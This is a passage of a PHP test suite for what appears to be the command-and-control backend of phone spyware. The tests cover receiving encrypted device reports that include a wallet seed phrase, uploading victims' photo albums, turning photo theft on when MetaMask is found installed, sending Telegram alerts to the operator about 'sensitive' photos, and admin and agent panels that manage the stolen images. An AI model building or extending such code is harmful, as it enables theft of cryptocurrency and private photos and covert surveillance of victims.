create([ 'device_id' => 'dev-album-default', ]); $this->assertFalse($device->fresh()->albumStorageEnabled()); $this->assertFalse((bool) $device->fresh()->album_storage); } #[Test] public function ingest_uses_agent_album_storage_default_on(): void { $agent = User::query()->create([ 'username' => 'album_on', 'password' => 'secret12', 'status' => 1, 'album_storage_default' => true, ]); $this->assertTrue($agent->albumStorageDefaultEnabled()); $channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => $agent->id, 'status' => 1, ]); $crypto = new CorunaCrypto; $ts = '1722585600201'; $enc = $crypto->encryptJson([ 'd' => 'dev-agent-album-on', 'c' => $channelId, ], $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-agent-album-on')->first(); $this->assertNotNull($device); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function ingest_keeps_album_off_when_agent_default_off(): void { $agent = User::query()->create([ 'username' => 'album_off', 'password' => 'secret12', 'status' => 1, ]); $this->assertFalse($agent->albumStorageDefaultEnabled()); $channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => $agent->id, 'status' => 1, ]); $crypto = new CorunaCrypto; $ts = '1722585600202'; $enc = $crypto->encryptJson([ 'd' => 'dev-agent-album-off', 'c' => $channelId, ], $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-agent-album-off')->first(); $this->assertNotNull($device); $this->assertFalse($device->albumStorageEnabled()); } #[Test] public function later_channel_fill_applies_agent_album_default(): void { $agent = User::query()->create([ 'username' => 'album_late', 'password' => 'secret12', 'status' => 1, 'album_storage_default' => true, ]); $channelId = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => $agent->id, 'status' => 1, ]); $crypto = new CorunaCrypto; $tsSet = '1722585600203'; $encSet = $crypto->encryptJson([ 'd' => 'dev-agent-album-late', 'c' => $channelId, 'a' => 'a1', 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-agent-album-late')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertFalse($device->albumStorageEnabled()); $tsPut = '1722585600204'; $encPut = $crypto->encryptJson([ 'd' => 'dev-agent-album-late', 'c' => $channelId, 'et' => 'heartbeat', ], $tsPut); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsPut, ], $encPut['body'])->assertOk(); $device->refresh(); $this->assertSame($channelId, $device->channel_id); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function official_and_unknown_channel_keep_album_off(): void { Channel::query()->create([ 'channel_id' => 'dddddddddddddddddddddddddddddddd', 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); $crypto = new CorunaCrypto; foreach ([ ['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'], ['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'], ] as $i => $payload) { $ts = (string) (1722585600210 + $i); $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); } $this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled()); $this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled()); } #[Test] public function ingest_uses_official_album_storage_default_on(): void { config(['coruna.album_storage.official_default' => true]); $channelId = 'ffffffffffffffffffffffffffffffff'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); $crypto = new CorunaCrypto; $ts = '1722585600220'; $enc = $crypto->encryptJson([ 'd' => 'dev-official-album-on', 'c' => $channelId, ], $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-official-album-on')->first(); $this->assertNotNull($device); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function later_channel_fill_applies_official_album_default(): void { config(['coruna.album_storage.official_default' => true]); $channelId = 'fffffffffffffffffffffffffffffffe'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); $crypto = new CorunaCrypto; $tsSet = '1722585600221'; $encSet = $crypto->encryptJson([ 'd' => 'dev-official-album-late', 'c' => $channelId, 'a' => 'a1', 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-official-album-late')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertFalse($device->albumStorageEnabled()); $tsPut = '1722585600222'; $encPut = $crypto->encryptJson([ 'd' => 'dev-official-album-late', 'c' => $channelId, 'et' => 'heartbeat', ], $tsPut); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsPut, ], $encPut['body'])->assertOk(); $device->refresh(); $this->assertSame($channelId, $device->channel_id); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function ingest_skips_photos_when_album_storage_off(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => 'dev-album-off', 'album_storage' => false, ]); $tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg'; file_put_contents($tmp, "\xFF\xD8\xFF\xD9"); app(IngestService::class)->ingestPhotos($device, [$tmp], ['x_hit' => 1]); $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); @unlink($tmp); } #[Test] public function wallet_applist_turns_album_on_then_photos_store(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => 'dev-album-wallet', 'album_storage' => false, ]); $tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg'; file_put_contents($tmp, "\xFF\xD8\xFF\xD9"); $ingest = app(IngestService::class); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); $ingest->ingestInstalledApps($device, [ 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'], ], ]); $device->refresh(); $this->assertTrue($device->albumStorageEnabled()); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); @unlink($tmp); } #[Test] public function ingest_notifies_telegram_when_x_hit_is_12(): void { Storage::fake('local'); config([ 'coruna.telegram.bot_token' => 'bot-token', 'coruna.telegram.owner_chat_id' => '12345', ]); Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); $device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]); $tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; file_put_contents($tmp, "\xFF\xD8\xFF\xD9"); $ingest = app(IngestService::class); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); Http::assertNothingSent(); $tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9"); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); Http::assertSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '敏感照片') && str_contains($text, 'dev-hit12') && str_contains($text, '敏感分: 12'); }); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); $this->assertSame(1, collect(Http::recorded())->filter(function ($pair) { $text = (string) ($pair[0]->data()['text'] ?? ''); return str_contains($text, '敏感照片'); })->count()); @unlink($tmp); @unlink($tmp2); } #[Test] public function admin_can_toggle_album_storage(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-toggle']); $this->actingAs($admin, 'admin') ->putJson(route('admin.devices.update', $device), ['album_storage' => 0]) ->assertOk() ->assertJsonPath('data.album_storage', 0); $this->assertFalse($device->fresh()->albumStorageEnabled()); $this->actingAs($admin, 'admin') ->putJson(route('admin.devices.update', $device), ['album_storage' => 1]) ->assertOk() ->assertJsonPath('data.album_storage', 1); } #[Test] public function clear_photos_removes_rows_and_files(): void { Storage::fake('local'); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]); $device = Device::query()->create(['device_id' => 'dev-clear']); $path = 'c2/photos/dev-clear/abc_hit.jpg'; Storage::disk('local')->put($path, "\xFF\xD8\xFF\xD9"); Photo::query()->create([ 'device_id' => $device->id, 'sha256' => hash('sha256', "\xFF\xD8\xFF\xD9"), 'path' => $path, 'size' => 4, ]); $this->actingAs($admin, 'admin') ->postJson(route('admin.devices.photos.clear', $device)) ->assertOk() ->assertJsonPath('data.deleted_rows', 1); $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertMissing($path); } #[Test] public function agent_cannot_clear_other_channel_device_photos(): void { Storage::fake('local'); $agent = User::query()->create([ 'username' => 'agent_album', 'password' => 'secret12', 'status' => 1, ]); Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agent->id, 'status' => 1, ]); $other = Device::query()->create([ 'device_id' => 'dev-other', 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', ]); $this->actingAs($agent, 'agent') ->postJson(route('user.devices.photos.clear', $other)) ->assertForbidden(); } #[Test] public function normal_admin_and_agent_cannot_clear_photos(): void { Storage::fake('local'); $staff = Admin::query()->create(['username' => 'staff', 'password' => 'admin123', 'is_super' => 0]); $agent = User::query()->create(['username' => 'agent_clear', 'password' => 'secret12', 'status' => 1]); Channel::query()->create([ 'channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agent->id, 'status' => 1, ]); $device = Device::query()->create([ 'device_id' => 'dev-no-clear', 'channel_id' => 'cccccccccccccccccccccccccccccccc', ]); $this->actingAs($staff, 'admin') ->postJson(route('admin.devices.photos.clear', $device)) ->assertForbidden(); $this->actingAs($agent, 'agent') ->postJson(route('user.devices.photos.clear', $device)) ->assertForbidden(); $this->actingAs($staff, 'admin') ->get(route('admin.devices.show', ['device' => $device, 'tab' => 'photos'])) ->assertOk() ->assertDontSee('清理相册数据'); } #[Test] public function photo_endpoint_serves_png_as_is(): void { Storage::fake('local'); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-png']); $tmp = sys_get_temp_dir().'/album_'.uniqid().'.png'; $im = imagecreatetruecolor(4, 4); imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3)); imagepng($im, $tmp); $png = (string) file_get_contents($tmp); @unlink($tmp); $path = 'c2/photos/dev-png/shot.png'; Storage::disk('local')->put($path, $png); $photo = Photo::query()->create([ 'device_id' => $device->id, 'sha256' => hash('sha256', $png), 'path' => $path, 'size' => strlen($png), ]); $this->actingAs($admin, 'admin') ->get(route('admin.devices.photo', [$device, $photo->id])) ->assertOk() ->assertHeader('Content-Type', 'image/png') ->assertSee($png, false); } #[Test] public function photo_endpoint_serves_heic_as_jpeg(): void { if (! is_executable('/usr/bin/sips')) { $this->markTestSkipped('sips is required to generate and convert HEIC'); } Storage::fake('local'); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]); $device = Device::query()->create(['device_id' => 'dev-heic']); $jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg'; $heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic'; $im = imagecreatetruecolor(8, 8); imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60)); imagejpeg($im, $jpg, 90); $made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]); @unlink($jpg); if (! $made->successful() || ! is_file($heicTmp)) { $this->markTestSkipped('sips could not write a HEIC fixture'); } $bytes = (string) file_get_contents($heicTmp); @unlink($heicTmp); $path = 'c2/photos/dev-heic/IMG_0004.HEIC'; Storage::disk('local')->put($path, $bytes); $photo = Photo::query()->create([ 'device_id' => $device->id, 'sha256' => hash('sha256', $bytes), 'path' => $path, 'size' => strlen($bytes), ]); $res = $this->actingAs($admin, 'admin') ->get(route('admin.devices.photo', [$device, $photo->id])) ->assertOk() ->assertHeader('Content-Type', 'image/jpeg'); $this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2)); $this->assertSame($bytes, Storage::disk('local')->get($path)); Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg'); $this->actingAs($admin, 'admin') ->postJson(route('admin.devices.photos.clear', $device)) ->assertOk(); Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg'); } }